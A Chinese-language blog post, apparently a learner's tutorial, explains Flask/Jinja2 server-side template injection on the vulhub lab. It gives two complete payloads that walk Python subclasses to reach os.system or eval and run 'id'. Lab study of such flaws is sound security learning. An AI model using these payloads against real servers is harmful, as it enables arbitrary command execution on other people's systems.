Flask(Jinja2) 服務端模板注入漏洞

其實我根本沒用過flask模板,但是最近在學習python,研究下劃線,莫名其妙地就學習到這裏了。

首先搭建一個flask環境。在github上下一個docker
https://github.com/vulhub/vulhub/tree/master/flask/ssti
然後運行docker

先來看一下代碼:
這裏寫圖片描述
由此,在瀏覽器中輸入

 http://your-ip/?name=leaf

會出現 hello leaf
但在name後面也可以輸入其他東西,比如:

 http://your-ip/?name={{1*1}}

出現 hello 1

 http://your-ip/?name={{'aaa'.upper()}}

出現AAA

由此就有大神找出了任意命令執行的方法了。
在python裏要執行系統命令需要import os模塊。

想要在模板中直接調用內置模塊 os,即需要在模板環境中對其註冊

需要在上面的代碼里加一句:

t.globals['os'] = os

如果沒有加這一句,直接使用os中的方法會報錯。
那麼,如何在未註冊 os 模塊的情況下在模板中調用 popen() 函數執行系統命令呢?這就用到之前研究的各種下劃線函數了。

先看下面的代碼:
這裏寫圖片描述
由此可以訪問到很多其他模塊,os模塊自然也可以這樣訪問到。

查閱的其他資料,訪問os模塊都是從warnings.catch_warnings模塊入手的。看一下catch_warnings在哪個位置。
這裏寫圖片描述
知道了位置後,再用func_global看看該模塊有哪些global函數
這裏寫圖片描述
這裏能看到linecache,我們要訪問的os模塊就在這裏,看看這個模塊的各種屬性:
這裏寫圖片描述
就能看到os模塊了(圖片太大,不貼了)。
既然找到了os,接下來就是使用它了。
這裏寫圖片描述
現在看看怎麼在Jinja2中直接構造命令執行代碼,我對Jinja2還不算很熟悉,這裏先放上兩段大神的代碼:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}

當然也可以用eval函數,代碼如下:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

最後放到瀏覽器裏注意要url編碼,就可以命令執行了
這裏寫圖片描述

參考:https://github.com/vulhub/vulhub/tree/master/flask/ssti
http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章